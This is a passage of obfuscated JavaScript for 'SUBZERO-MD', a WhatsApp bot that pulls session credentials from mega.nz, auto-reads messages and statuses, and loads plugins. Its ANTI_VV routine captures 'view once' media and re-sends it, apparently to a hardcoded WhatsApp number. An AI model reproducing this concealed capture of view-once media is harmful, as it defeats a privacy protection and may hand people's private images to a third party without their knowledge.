♂️','👩‍❤️‍💋‍👩','👩‍🦰','axios','🧏‍♀️','👮‍♀️','output','👨‍👩‍👦','.js','join','👩‍🏭','👩‍❤️‍💋‍👨','🧑‍🦰','[\x20❄️\x20]\x20Plugins\x20installed\x20successful\x20✅','🧛‍♂️','🙍‍♀️','4zKGyOD','👩‍👧‍👦','qrcode-terminal','photo','👨‍🔧','Sin\x20Nombre','🧝‍♂️','json','🧎‍♂️','👩‍👩‍👧‍👧','@broadcast','/sessions/','util','close','🧟‍♂️','./config','https://i.ibb.co/8NBwB9P/mrfrankofc.jpg','🤼‍♂️','getFile','294342KxpxCN','existsSync','head','🗨️','🧑‍🦼','👨‍🎤','readFileSync','pino','🚶‍♂️','🏄‍♀️','👁️','🧞‍♀️','🧑‍🦱','🏌️‍♀️','🤦‍♂️','pattern','send','⛹️‍♂️','🧝‍♀️','👨‍👨‍👦','AUTO_STATUS_SEEN','READ_CMD','👩‍👩‍👦','❤️‍🩹','🕳️','🙆‍♀️','Please\x20add\x20your\x20SUBZERO\x20MD\x20session\x20to\x20SESSION_ID\x20env\x20!!','🧏‍♂️','😵‍💫','keys','👩‍✈️','🧍‍♂️','megajs','👯‍♀️','SUBZERO-MD~','body-parser','loggedOut','💆‍♀️','🏃‍♀️','👨‍✈️','🤵‍♂️','stringify','👨‍❤️‍💋‍👨','audioMessage','🧑‍🦽','259qszsrg','Session\x20downloaded\x20✅','🤸‍♀️','\x20as\x20read.','fromMe','👨‍🦼','335919xooNku','👁️‍🗨️','946425YIVGzG','test','sendText','👨‍👨‍👧‍👧','🕴‍♀️','AUTO_STATUS_MSG','gif','👨‍🎨','downloadAndSaveMediaMessage','🧘‍♂️','sendButtonText','/sessions/creds.json','👩‍🦳','🚴‍♀️','👩‍👩‍👦‍👦','https://mega.nz/file/','🙋‍♂️','concat','find','👩‍🦯','🕵️‍♂️','👨‍💻','💁‍♀️','👨‍⚖️','👨‍👩‍👧‍👦','mtype','🏋️‍♂️','🏄‍♂️','🤷‍♀️','MODE','sendMedia','👨‍👨‍👧‍👦','👰‍♀️','🕯️','unlink','🕸️','user','env','263719647303@s.whatsapp.net','👨‍🦱','🤸‍♂️','from','🧎‍♀️','tmpdir','readdir','🧑‍🔧','38145280BTaYDN','🇫🇷','viewOnceMessage','CUSTOM_REACT_EMOJIS','🥲,😂,👍🏻,🙂,😔','alloc','crypto','❤️‍🔥','🇺🇸','👩‍👩‍👧','👩‍🍳','isBuffer','readViewOnce','ephemeralMessage','shift','@g.us','function','length','toLowerCase','666PxorUy','🙇‍♀️','🤼‍♀️','ANTI_VV','🙎‍♂️','readdirSync','👨‍❤️‍👨','videoMessage','./command','video/mp4','🧑‍🏫','caption','🕴‍♂️','🧑‍💻','🧛‍♀️','participants','contextInfo','Hello\x20World!','👩‍🍼','👨🏾‍💻','cache-temp','👩‍💼','groups','🧑‍⚖️','Firefox','👨‍👦‍👦','@whiskeysockets/baileys','🧑‍🚒','😮‍💨','readMessages','👨‍👧','parse','🦹‍♂️','👨‍👦','💁‍♂️','stickerMessage','promises','👯‍♂️','🧑‍🔬','🤷‍♂️','👨‍🏫','[\x20🤖\x20]\x20SUBZERO\x20MD\x20BOT\x20ONLINE\x20✅','👨‍🦲','🧞‍♂️','send5ButImg','🧑‍🎄','error','👩‍🎤','base64','👩‍🦱','🚵‍♂️','👳‍♀️','👩‍🏫','🧗‍♂️','👨‍💼','🧑‍🍳','🧑‍🎤','🕴️','3041882yADjkX','forEach','🏊‍♂️','🤦‍♀️','👷‍♂️','text','relayMessage','video','WebMessageInfo','get','SESSION_ID','./exif.js','👨‍🎓','msg','key','commands','catch','connection.update','[\x20❄️\x20]\x20SubZero\x20MD\x20connected\x20to\x20whatsapp\x20✅','🖐️','🙍‍♂️','🙆‍♂️','toString','react','👨‍👩‍👦‍👦','🧑‍⚕️','💆‍♂️','sticker','server','🧟‍♀️','sendVideoAsSticker','🕵️‍♀️','*Hi\x20Owner😇,\x20Congrats\x20SubZero\x20Connected\x20Successfully!\x20👋🏻*\x20\x0a\x0a>\x20Light,\x20Cold,\x20Icy,\x20Fast\x20&\x20Rich\x20Loaded\x20With\x20Features,\x20SubZero\x20W.A\x20Bot.\x0a\x0a\x20*Thanks\x20for\x20using\x20SUBZERO-MD\x20❄️*\x20\x0a\x0a>\x20Join\x20WhatsApp\x20Channel\x20:-\x20🛠️\x0a\x20\x0ahttps://whatsapp.com/channel/0029VatOy2EAzNc2WcShQw1j\x0a\x0a-\x20*YOUR\x20BOT\x20PREFIX:*\x20\x20','🐕‍🦺','🕊️','👩‍🌾','subject','🛫️','extname','ignore','💇‍♀️','🇬🇧','🛣️','🇪🇸','floor','content-type','👨‍🍳','🤵‍♀️','🧑‍🍼','audio','👨‍🦯','express','viewOnceMessageV2','👩‍⚖️','headers','./plugins/','👨‍👨‍👧','👱‍♀️','status','replace','endsWith','👨‍🌾','trim','[\x20❄️\x20]\x20SubZero\x20Connecting\x20to\x20WhatsApp\x20⏳️...','🤽‍♂️','path','categories','👨‍👩‍👧','💂‍♀️','👨‍🍼','🧚‍♀️','👨‍⚕️','downloadMediaMessage','👩‍👧‍👧','🤾‍♀️','PREFIX','🇯🇵','messages.upsert','[\x20❄️\x20]\x20🛠️\x20Installing\x20Plugins.','slice','application/pdf','🗯️','groupMetadata','👩‍🦽','CUSTOM_REACT','👩‍🎨','message','random','🕷️','waUploadToServer','🧜‍♀️','🧑‍🦳','👨‍👨‍👦‍👦','author','🧑‍🦯','\x0a\x0aDont\x20forget\x20to\x20\x20star\x20our\x20repo☺\x20\x0a\x0ahttps://github.com/mrfrank-ofc/SUBZERO-MD\x0a\x0a>\x20©\x20ᴘϙᴡᴇʀᴇᴅ\x20ʙʏ\x20ᴍʀ\x20ꜰʀᴀɴᴋ\x20ᴏꜰᴄ\x20🖤','writeFileSync','Server\x20listening\x20on\x20port\x20http://localhost:','ext','silent','fluent-ffmpeg','fromBuffer','🙅‍♀️','263719647303','👩‍👦‍👦','👰‍♂️','👩‍🔧','👩‍❤️‍👩','👨‍🦰','remoteJid','fromObject','👩‍🦲','👩‍💻','🚵‍♀️','startsWith','🚣‍♀️','map','👩‍🚀','🚶‍♀️','packname','@s.whatsapp.net','string','statusCode','🏃‍♂️','image','type','👨‍🏭','🧑‍🚀','👱‍♂️','🧜‍♂️','🐻‍❄️','AUTO_REACT','🤹‍♀️','macOS','👩‍👧','sendMessage','🏞️','👩‍🔬','👩‍🦼'];_0x5be8=function(){return _0x429cd6;};return _0x5be8();}const {default:makeWASocket,useMultiFileAuthState,DisconnectReason,jidNormalizedUser,getContentType,proto,generateWAMessageContent,generateWAMessage,AnyMessageContent,prepareWAMessageMedia,areJidsSameUser,downloadContentFromMessage,MessageRetryMap,generateForwardMessageContent,generateWAMessageFromContent,generateMessageID,makeInMemoryStore,jidDecode,fetchLatestBaileysVersion,Browsers}=require(_0x30c61c(0x159)),l=console[_0x30c61c(0x22b)],{getBuffer,getGroupAdmins,getRandom,h2k,isUrl,Json,runtime,sleep,fetchJson}=require(_0x30c61c(0x218)),fs=require('fs'),ff=require(_0x30c61c(0x1dd)),P=require(_0x30c61c(0xd0)),config=require(_0x30c61c(0xc5)),qrcode=require(_0x30c61c(0xb8)),StickersTypes=require(_0x30c61c(0x93)),util=require(_0x30c61c(0xc2)),{sms,downloadMediaMessage}=require(_0x30c61c(0x23b)),FileType=require('file-type'),axios=require(_0x30c61c(0xa9)),{File}=require(_0x30c61c(0xe9)),{fromBuffer}=require(_0x30c61c(0x21a)),bodyparser=require(_0x30c61c(0xec)),os=require('os'),Crypto=require(_0x30c61c(0x132)),path=require(_0x30c61c(0x1ba)),prefix=config[_0x30c61c(0x1c4)],ownerNumber=[_0x30c61c(0x1e0)],tempDir=path[_0x30c61c(0xaf)](os[_0x30c61c(0x129)](),_0x30c61c(0x153));!fs[_0x30c61c(0xca)](tempDir)&&fs['mkdirSync'](tempDir);const clearTempDir=()=>{const _0x3fdc3f=_0x30c61c;fs[_0x3fdc3f(0x12a)](tempDir,(_0x3f76e5,_0x295de0)=>{const _0x39b91f=_0x3fdc3f;if(_0x3f76e5)throw _0x3f76e5;for(const _0x1e21ec of _0x295de0){fs[_0x39b91f(0x120)](path[_0x39b91f(0xaf)](tempDir,_0x1e21ec),_0x385670=>{if(_0x385670)throw _0x385670;});}});};setInterval(clearTempDir,0x5*0x3c*0x3e8);if(!fs[_0x30c61c(0xca)](__dirname+_0x30c61c(0x109))){if(!config[_0x30c61c(0x183)])return console[_0x30c61c(0x22b)](_0x30c61c(0xe3));const sessdata=config['SESSION_ID'][_0x30c61c(0x1b4)](_0x30c61c(0xeb),''),filer=File['fromURL'](_0x30c61c(0x10d)+sessdata);filer['download']((_0x1e9ecc,_0x600ad5)=>{const _0x59411f=_0x30c61c;if(_0x1e9ecc)throw _0x1e9ecc;fs[_0x59411f(0x9a)](__dirname+_0x59411f(0x109),_0x600ad5,()=>{const _0x39f8e1=_0x59411f;console[_0x39f8e1(0x22b)](_0x39f8e1(0xf7));});});}const express=require(_0x30c61c(0x1ac)),app=express(),port=process[_0x30c61c(0x123)][_0x30c61c(0x99)]||0x2382;async function connectToWA(){const _0x328a84=_0x30c61c;console['log'](_0x328a84(0x1b8));const {state:_0x4bf554,saveCreds:_0x4cc37c}=await useMultiFileAuthState(__dirname+_0x328a84(0xc1));var {version:_0x59c479}=await fetchLatestBaileysVersion();const _0x339093=makeWASocket({'logger':P({'level':_0x328a84(0x1dc)}),'printQRInTerminal':![],'browser':Browsers[_0x328a84(0x1fe)](_0x328a84(0x157)),'syncFullHistory':!![],'auth':_0x4bf554,'version':_0x59c479});_0x339093['ev']['on'](_0x328a84(0x18a),_0x2bcae0=>{const _0x525874=_0x328a84,{connection:_0x412bb8,lastDisconnect:_0x2e9cdb}=_0x2bcae0;if(_0x412bb8===_0x525874(0xc3))_0x2e9cdb[_0x525874(0x16d)][_0x525874(0xac)][_0x525874(0x1f3)]!==DisconnectReason[_0x525874(0xed)]&&connectToWA();else{if(_0x412bb8==='open'){console[_0x525874(0x22b)](_0x525874(0x1c7));const _0x44263f=require(_0x525874(0x1ba));fs[_0x525874(0x144)](_0x525874(0x1b0))[_0x525874(0x17a)](_0x46cc28=>{const _0x56d606=_0x525874;_0x44263f[_0x56d606(0x19f)](_0x46cc28)['toLowerCase']()==_0x56d606(0xae)&&require(_0x56d606(0x1b0)+_0x46cc28);}),console[_0x525874(0x22b)](_0x525874(0xb3)),console[_0x525874(0x22b)](_0x525874(0x18b));let _0x2aab19=_0x525874(0x199)+prefix+_0x525874(0x1d8);_0x339093[_0x525874(0x200)](_0x339093[_0x525874(0x122)]['id'],{'image':{'url':_0x525874(0xc6)},'caption':_0x2aab19});}}}),_0x339093['ev']['on'](_0x328a84(0x97),_0x4cc37c),_0x339093['ev']['on'](_0x328a84(0x1c6),async _0x4a6ae3=>{const _0x5924c2=_0x328a84;_0x4a6ae3=_0x4a6ae3[_0x5924c2(0x9d)][0x0];if(!_0x4a6ae3[_0x5924c2(0x1cf)])return;_0x4a6ae3['message']=getContentType(_0x4a6ae3[_0x5924c2(0x1cf)])==='ephemeralMessage'?_0x4a6ae3['message'][_0x5924c2(0x139)][_0x5924c2(0x1cf)]:_0x4a6ae3['message'];config['READ_MESSAGE']===_0x5924c2(0x227)&&(await _0x339093[_0x5924c2(0x15c)]([_0x4a6ae3[_0x5924c2(0x187)]]),console[_0x5924c2(0x22b)]('Marked\x20message\x20from\x20'+_0x4a6ae3[_0x5924c2(0x187)][_0x5924c2(0x1e6)]+_0x5924c2(0xf9)));if(_0x4a6ae3['message'][_0x5924c2(0x1ad)])_0x4a6ae3[_0x5924c2(0x1cf)]=getContentType(_0x4a6ae3[_0x5924c2(0x1cf)])===_0x5924c2(0x139)?_0x4a6ae3[_0x5924c2(0x1cf)][_0x5924c2(0x139)][_0x5924c2(0x1cf)]:_0x4a6ae3[_0x5924c2(0x1cf)];_0x4a6ae3['key']&&_0x4a6ae3[_0x5924c2(0x187)][_0x5924c2(0x1e6)]===_0x5924c2(0x96)&&config[_0x5924c2(0xdd)]===_0x5924c2(0x227)&&await _0x339093[_0x5924c2(0x15c)]([_0x4a6ae3[_0x5924c2(0x187)]]);if(_0x4a6ae3[_0x5924c2(0x187)]&&_0x4a6ae3[_0x5924c2(0x187)]['remoteJid']===_0x5924c2(0x96)&&config[_0x5924c2(0x21f)]===_0x5924c2(0x227)){const _0x59411e=_0x4a6ae3[_0x5924c2(0x187)]['participant'],_0x44b1a2=''+config[_0x5924c2(0x103)];await _0x339093[_0x5924c2(0x200)](_0x59411e,{'text':_0x44b1a2,'react':{'text':'🧸','key':_0x4a6ae3[_0x5924c2(0x187)]}},{'quoted':_0x4a6ae3});}let _0x5a0a73=_0x4a6ae3[_0x5924c2(0x1cf)][_0x5924c2(0x1ad)],_0x3c5de8=_0x4a6ae3[_0x5924c2(0x117)]===_0x5924c2(0x12e);if(_0x5a0a73&&config[_0x5924c2(0x142)]==='true'){if(_0x5a0a73[_0x5924c2(0x1cf)][_0x5924c2(0x235)]){let _0x768d4f=_0x5a0a73[_0x5924c2(0x1cf)]['imageMessage'][_0x5924c2(0x14a)],_0x5b9858=await _0x339093['downloadAndSaveMediaMessage'](_0x5a0a73[_0x5924c2(0x1cf)][_0x5924c2(0x235)]);return _0x339093[_0x5924c2(0x200)](_0x5924c2(0x124),{'image':{'url':_0x5b9858},'caption':_0x768d4f},{'quoted':_0x4a6ae3});}if(_0x5a0a73[_0x5924c2(0x1cf)][_0x5924c2(0x146)]){let _0x14a985=_0x5a0a73['message']['videoMessage'][_0x5924c2(0x14a)],_0x3b2183=await _0x339093[_0x5924c2(0x106)](_0x5a0a73[_0x5924c2(0x1cf)][_0x5924c2(0x146)]);return _0x339093[_0x5924c2(0x200)](_0x5924c2(0x124),{'video':{'url':_0x3b2183},'caption':_0x14a985},{'quoted':_0x4a6ae3});}if(_0x5a0a73['message'][_0x5924c2(0xf4)]){let _0x3a5b9c=await _0x339093[_0x5924c2(0x106)](_0x5a0a73[_0x5924c2(0x1cf)][_0x5924c2(0xf4)]);return _0x339093[_0x5924c2(0x200)](_0x5924c2(0x124),{'audio':{'url':_0x3a5b9c},'caption':cap},{'quoted':_0x4a6ae3});}}const _0x14d8b5=sms(_0x339093,_0x4a6ae3),_0x53b527=getContentType(_0x4a6ae3['message']),_0x40f591=JSON[_0x5924c2(0xf2)](_0x4a6ae3[_0x5924c2(0x1cf)]),_0x42fde9=_0x4a6ae3[_0x5924c2(0x187)][_0x5924c2(0x1e6)],_0x385430=_0x53b527==_0x5924c2(0x21e)&&_0x4a6ae3[_0x5924c2(0x1cf)]['extendedTextMessage'][_0x5924c2(0x14f)]!=null?_0x4a6ae3[_0x5924c2(0x1cf)]['extendedTextMessage'][_0x5924c2(0x14f)]['quotedMessage']||[]:[],_0xfa5d69=_0x53b527===_0x5924c2(0x216)?_0x4a6ae3['message'][_0x5924c2(0x216)]:_0x53b527===_0x5924c2(0x21e)?_0x4a6ae3[_0x5924c2(0x1cf)][_0x5924c2(0x21e)]['text']:_0x53b527==_0x5924c2(0x235)&&_0x4a6ae3[_0x5924c2(0x1cf)][_0x5924c2(0x235)]['caption']?_0x4a6ae3[_0x5924c2(0x1cf)]['imageMessage']['caption']:_0x53b527==_0x5924c2(0x146)&&_0x4a6ae3[_0x5924c2(0x1cf)]['videoMessage'][_0x5924c2(0x14a)]?_0x4a6ae3[_0x5924c2(0x1cf)][_0x5924c2(0x146)][_0x5924c2(0x14a)]:'',_0x4f6dfd=_0xfa5d69[_0x5924c2(0x1eb)](prefix),_0x5f2b52=_0x4f6dfd?_0xfa5d69[_0x5924c2(0x1c8)](prefix[_0x5924c2(0x13d)])[_0x5924c2(0x1b7)]()[_0x5924c2(0x219)]('\x20')[_0x5924c2(0x13a)]()[_0x5924c2(0x13e)]():'',_0x28e903=_0xfa5d69[_0x5924c2(0x1b7)]()['split'](/ +/)[_0x5924c2(0x1c8)](0x1),_0x6db9bb=_0x28e903['join']('\x20'),_0x555819=_0x42fde9[_0x5924c2(0x1b5)](_0x5924c2(0x13b)),_0x5202b4=_0x4a6ae3[_0x5924c2(0x187)][_0x5924c2(0xfa)]?_0x339093[_0x5924c2(0x122)]['id'][_0x5924c2(0x219)](':')[0x0]+'@s.whatsapp.net'||_0x339093[_0x5924c2(0x122)]['id']:_0x4a6ae3[_0x5924c2(0x187)][_0x5924c2(0x21d)]||_0x4a6ae3[_0x5924c2(0x187)][_0x5924c2(0x1e6)],_0xe84b8d=_0x5202b4['split']('@')[0x0],_0x11bcf6=_0x339093[_0x5924c2(0x122)]['id'][_0x5924c2(0x219)](':')[0x0],_0xc4eb9c=_0x4a6ae3[_0x5924c2(0x234)]||_0x5924c2(0xbb),_0x2ee056=_0x11bcf6[_0x5924c2(0x220)](_0xe84b8d),_0x3e5e67=ownerNumber[_0x5924c2(0x220)](_0xe84b8d)||_0x2ee056,_0x469518=await jidNormalizedUser(_0x339093[_0x5924c2(0x122)]['id']),_0x2dfd3b=_0x555819?await _0x339093[_0x5924c2(0x1cb)](_0x42fde9)[_0x5924c2(0x189)](_0x548d6a=>{}):'',_0x27501e=_0x555819?_0x2dfd3b[_0x5924c2(0x19d)]:'',_0x1e5bf7=_0x555819?await _0x2dfd3b[_0x5924c2(0x14e)]:'',_0xae534a=_0x555819?await getGroupAdmins(_0x1e5bf7):'',_0x590271=_0x555819?_0xae534a[_0x5924c2(0x220)](_0x469518):![],_0x3de70b=_0x555819?_0xae534a['includes'](_0x5202b4):![],_0x1fff02=_0x14d8b5[_0x5924c2(0x1cf)]['reactionMessage']?!![]:![],_0x4e8795=_0x1d3222=>{const _0x216582=_0x5924c2;_0x339093[_0x216582(0x200)](_0x42fde9,{'text':_0x1d3222},{'quoted':_0x4a6ae3});};_0x339093['decodeJid']=_0x524724=>{const _0x23f90a=_0x5924c2;if(!_0x524724)return _0x524724;if(/:\d+@/gi['test'](_0x524724)){let _0x4ea927=jidDecode(_0x524724)||{};return _0x4ea927[_0x23f90a(0x122)]&&_0x4ea927[_0x23f90a(0x195)]&&_0x4ea927[_0x23f90a(0x122)]+'@'+_0x4ea927[_0x23f90a(0x195)]||_0x524724;}else return _0x524724;},_0x339093['copyNForward']=async(_0x5ae766,_0x3c773b,_0x17f8e1=![],_0x14393a={})=>{const _0x322ef0=_0x5924c2;let _0x133672;_0x14393a[_0x322ef0(0x138)]&&(_0x3c773b[_0x322ef0(0x1cf)]=_0x3c773b[_0x322ef0(0x1cf)]&&_0x3c773b[_0x322ef0(0x1cf)]['ephemeralMessage']&&_0x3c773b[_0x322ef0(0x1cf)][_0x322ef0(0x139)][_0x322ef0(0x1cf)]?_0x3c773b[_0x322ef0(0x1cf)]['ephemeralMessage'][_0x322ef0(0x1cf)]:_0x3c773b['message']||undefined,_0x133672=Object[_0x322ef0(0xe6)](_0x3c773b['message'][_0x322ef0(0x12e)][_0x322ef0(0x1cf)])[0x0],delete(_0x3c773b['message']&&_0x3c773b[_0x322ef0(0x1cf)][_0x322ef0(0x1a0)]?_0x3c773b[_0x322ef0(0x1cf)][_0x322ef0(0x1a0)]:_0x3c773b[_0x322ef0(0x1cf)]||undefined),delete _0x3c773b[_0x322ef0(0x1cf)]['viewOnceMessage'][_0x322ef0(0x1cf)][_0x133672]['viewOnce'],_0x3c773b[_0x322ef0(0x1cf)]={..._0x3c773b['message'][_0x322ef0(0x12e)][_0x322ef0(0x1cf)]});let _0x4d066f=Object['keys'](_0x3c773b[_0x322ef0(0x1cf)])[0x0],_0x46fd9d=await generateForwardMessageContent(_0x3c773b,_0x17f8e1),_0x7ad768=Object[_0x322ef0(0xe6)](_0x46fd9d)[0x0],_0x40a230={};if(_0x4d066f!='conversation')_0x40a230=_0x3c773b[_0x322ef0(0x1cf)][_0x4d066f][_0x322ef0(0x14f)];_0x46fd9d[_0x7ad768][_0x322ef0(0x14f)]={..._0x40a230,..._0x46fd9d[_0x7ad768][_0x322ef0(0x14f)]};const _0x1dfd0e=await generateWAMessageFromContent(_0x5ae766,_0x46fd9d,_0x14393a?{..._0x46fd9d[_0x7ad768],..._0x14393a,..._0x14393a[_0x322ef0(0x14f)]?{'contextInfo':{..._0x46fd9d[_0x7ad768]['contextInfo'],..._0x14393a[_0x322ef0(0x14f)]}}:{}}:{});return await _0x339093[_0x322ef0(0x17f)](_0x5ae766,_0x1dfd0e[_0x322ef0(0x1cf)],{'messageId':_0x1dfd0e[_0x322ef0(0x187)]['id']}),_0x1dfd0e;},_0x339093[_0x5924c2(0x106)]=async(_0x244088,_0x11a397,_0x14df24=!![])=>{const _0x253c68=_0x5924c2;let _0x54db92=_0x244088[_0x253c68(0x186)]?_0x244088['msg']:_0x244088,_0xbce9ee=(_0x244088[_0x253c68(0x186)]||_0x244088)[_0x253c68(0x90)]||'',_0x2fc5fd=_0x244088[_0x253c68(0x117)]?_0x244088[_0x253c68(0x117)][_0x253c68(0x1b4)](/Message/gi,''):_0xbce9ee[_0x253c68(0x219)]('/')[0x0];const _0x2b7e8c=await downloadContentFromMessage(_0x54db92,_0x2fc5fd);let _0x57d24a=Buffer[_0x253c68(0x127)]([]);for await(const _0x447a7b of _0x2b7e8c){_0x57d24a=Buffer['concat']([_0x57d24a,_0x447a7b]);}let _0x27f81b=await FileType[_0x253c68(0x1de)](_0x57d24a);return trueFileName=_0x14df24?_0x11a397+'.'+_0x27f81b['ext']:_0x11a397,await fs[_0x253c68(0x1d9)](trueFileName,_0x57d24a),trueFileName;},_0x339093[_0x5924c2(0x1c1)]=async _0x186f63=>{const _0x30e8b0=_0x5924c2;let _0x59d1f2=(_0x186f63[_0x30e8b0(0x186)]||_0x186f63)['mimetype']||'',_0x1d12f7=_0x186f63[_0x30e8b0(0x117)]?_0x186f63[_0x30e8b0(0x117)][_0x30e8b0(0x1b4)](/Message/gi,''):_0x59d1f2[_0x30e8b0(0x219)]('/')[0x0];const _0x48ec0e=await downloadContentFromMessage(_0x186f63,_0x1d12f7);let _0x2a67ca=Buffer[_0x30e8b0(0x127)]([]);for await(const _0x58721c of _0x48ec0e){_0x2a67ca=Buffer[_0x30e8b0(0x10f)]([_0x2a67ca,_0x58721c]);}return _0x2a67ca;},_0x339093[_0x5924c2(0x20d)]=async(_0x59b4d3,_0x2d1f95,_0x599f23,_0xd19d1d,_0x35ae66={})=>{const _0x3fe295=_0x5924c2;let _0x2c471e='',_0x18d4f4=await axios[_0x3fe295(0xcb)](_0x2d1f95);_0x2c471e=_0x18d4f4[_0x3fe295(0x1af)][_0x3fe295(0x1a6)];if(_0x2c471e[_0x3fe295(0x219)]('/')[0x1]===_0x3fe295(0x104))return _0x339093[_0x3fe295(0x200)](_0x59b4d3,{'video':await getBuffer(_0x2d1f95),'caption':_0x599f23,'gifPlayback':!![],..._0x35ae66},{'quoted':_0xd19d1d,..._0x35ae66});let _0x246cb0=_0x2c471e[_0x3fe295(0x219)]('/')[0x0]+_0x3fe295(0x91);if(_0x2c471e===_0x3fe295(0x1c9))return _0x339093['sendMessage'](_0x59b4d3,{'document':await getBuffer(_0x2d1f95),'mimetype':_0x3fe295(0x1c9),'caption':_0x599f23,..._0x35ae66},{'quoted':_0xd19d1d,..._0x35ae66});if(_0x2c471e[_0x3fe295(0x219)]('/')[0x0]==='image')return _0x339093[_0x3fe295(0x200)](_0x59b4d3,{'image':await getBuffer(_0x2d1f95),'caption':_0x599f23,..._0x35ae66},{'quoted':_0xd19d1d,..._0x35ae66});if(_0x2c471e[_0x3fe295(0x219)]('/')[0x0]==='video')return _0x339093[_0x3fe295(0x200)](_0x59b4d3,{'video':await getBuffer(_0x2d1f95),'caption':_0x599f23,'mimetype':_0x3fe295(0x148),..._0x35ae66},{'quoted':_0xd19d1d,..._0x35ae66});if(_0x2c471e[_0x3fe295(0x219)]('/')[0x0]===_0x3fe295(0x1aa))return _0x339093['sendMessage'](_0x59b4d3,{'audio':await getBuffer(_0x2d1f95),'caption':_0x599f23,'mimetype':'audio/mpeg',..._0x35ae66},{'quoted':_0xd19d1d,..._0x35ae66});},_0x339093['cMod']=(_0x4746c0,_0x219421,_0x27ca8e='',_0x4e88e0=_0x339093[_0x5924c2(0x122)]['id'],_0x30f6d1={})=>{const _0x5ae370=_0x5924c2;let _0xa184f7=Object[_0x5ae370(0xe6)](_0x219421[_0x5ae370(0x1cf)])[0x0],_0x201c6f=_0xa184f7===_0x5ae370(0x139);_0x201c6f&&(_0xa184f7=Object['keys'](_0x219421[_0x5ae370(0x1cf)][_0x5ae370(0x139)][_0x5ae370(0x1cf)])[0x0]);let _0x4f9d0b=_0x201c6f?_0x219421[_0x5ae370(0x1cf)][_0x5ae370(0x139)][_0x5ae370(0x1cf)]:_0x219421['message'],_0xa68797=_0x4f9d0b[_0xa184f7];if(typeof _0xa68797===_0x5ae370(0x1f2))_0x4f9d0b[_0xa184f7]=_0x27ca8e||_0xa68797;else{if(_0xa68797[_0x5ae370(0x14a)])_0xa68797[_0x5ae370(0x14a)]=_0x27ca8e||_0xa68797['caption'];else{if(_0xa68797[_0x5ae370(0x17e)])_0xa68797[_0x5ae370(0x17e)]=_0x27ca8e||_0xa68797[_0x5ae370(0x17e)];}}if(typeof _0xa68797!=='string')_0x4f9d0b[_0xa184f7]={..._0xa68797,..._0x30f6d1};if(_0x219421[_0x5ae370(0x187)][_0x5ae370(0x21d)])_0x4e88e0=_0x219421['key'][_0x5ae370(0x21d)]=_0x4e88e0||_0x219421[_0x5ae370(0x187)][_0x5ae370(0x21d)];else{if(_0x219421[_0x5ae370(0x187)]['participant'])_0x4e88e0=_0x219421[_0x5ae370(0x187)]['participant']=_0x4e88e0||_0x219421['key'][_0x5ae370(0x21d)];}if(_0x219421[_0x5ae370(0x187)]['remoteJid']['includes']('@s.whatsapp.net'))_0x4e88e0=_0x4e88e0||_0x219421[_0x5ae370(0x187)][_0x5ae370(0x1e6)];else{if(_0x219421[_0x5ae370(0x187)][_0x5ae370(0x1e6)][_0x5ae370(0x220)](_0x5ae370(0xc0)))_0x4e88e0=_0x4e88e0||_0x219421[_0x5ae370(0x187)]['remoteJid'];}return _0x219421[_0x5ae370(0x187)]['remoteJid']=_0x4746c0,_0x219421[_0x5ae370(0x187)][_0x5ae370(0xfa)]=_0x4e88e0===_0x339093['user']['id'],proto[_0x5ae370(0x181)][_0x5ae370(0x1e7)](_0x219421);},_0x339093[_0x5924c2(0xc8)]=async(_0x5a172b,_0x28f532)=>{const _0x1bd6e2=_0x5924c2;let _0x1f1c57,_0x1541ab=Buffer[_0x1bd6e2(0x137)](_0x5a172b)?_0x5a172b:/^data:.*?\/.*?;base64,/i['test'](_0x5a172b)?Buffer[_0x1bd6e2(0x127)](_0x5a172b[_0x1bd6e2(0x219)]`,`[0x1],_0x1bd6e2(0x16f)):/^https?:\/\//[_0x1bd6e2(0xff)](_0x5a172b)?await(_0x1f1c57=await getBuffer(_0x5a172b)):fs[_0x1bd6e2(0xca)](_0x5a172b)?(_0x5c4c74=_0x5a172b,fs[_0x1bd6e2(0xcf)](_0x5a172b)):typeof _0x5a172b===_0x1bd6e2(0x1f2)?_0x5a172b:Buffer[_0x1bd6e2(0x131)](0x0),_0x16c757=await FileType['fromBuffer'](_0x1541ab)||{'mime':'application/octet-stream','ext':'.bin'},_0x5c4c74=path[_0x1bd6e2(0xaf)](__filename,__dirname+new Date()*0x1+'.'+_0x16c757[_0x1bd6e2(0x1db)]);if(_0x1541ab&&_0x28f532)fs[_0x1bd6e2(0x163)]['writeFile'](_0x5c4c74,_0x1541ab);return{'res':_0x1f1c57,'filename':_0x5c4c74,'size':await getSizeMedia(_0x1541ab),..._0x16c757,'data':_0x1541ab};},_0x339093['sendFile']=async(_0x1a5370,_0x354317,_0x5c024d,_0x175ce0={},_0x3afbc9={})=>{const _0x4b9a02=_0x5924c2;let _0x26b86d=await _0x339093[_0x4b9a02(0xc8)](_0x354317,!![]),{filename:_0x4a0b71,size:_0x2b50a7,ext:_0x1b8700,mime:_0x3ac4a1,data:_0xa1caa5}=_0x26b86d,_0x4c155b='',_0x1b3650=_0x3ac4a1,_0x79a9ea=_0x4a0b71;if(_0x3afbc9[_0x4b9a02(0x231)])_0x4c155b='document';if(_0x3afbc9['asSticker']||/webp/[_0x4b9a02(0xff)](_0x3ac4a1)){let {writeExif:_0x4c1578}=require(_0x4b9a02(0x184)),_0x44d7eb={'mimetype':_0x3ac4a1,'data':_0xa1caa5};_0x79a9ea=await _0x4c1578(_0x44d7eb,{'packname':Config[_0x4b9a02(0x1f0)],'author':Config[_0x4b9a02(0x1f0)],'categories':_0x3afbc9[_0x4b9a02(0x1bb)]?_0x3afbc9[_0x4b9a02(0x1bb)]:[]}),await fs[_0x4b9a02(0x163)][_0x4b9a02(0x120)](_0x4a0b71),_0x4c155b='sticker',_0x1b3650=_0x4b9a02(0xa1);}else{if(/image/[_0x4b9a02(0xff)](_0x3ac4a1))_0x4c155b=_0x4b9a02(0x1f5);else{if(/video/[_0x4b9a02(0xff)](_0x3ac4a1))_0x4c155b=_0x4b9a02(0x180);else{if(/audio/[_0x4b9a02(0xff)](_0x3ac4a1))_0x4c155b='audio';else _0x4c155b=_0x4b9a02(0x238);}}}return await _0x339093[_0x4b9a02(0x200)](_0x1a5370,{[_0x4c155b]:{'url':_0x79a9ea},'mimetype':_0x1b3650,'fileName':_0x5c024d,..._0x3afbc9},{'quoted':_0x175ce0,..._0x3afbc9}),fs['promises']['unlink'](_0x79a9ea);},_0x339093['parseMention']=async _0xc57a6a=>{const 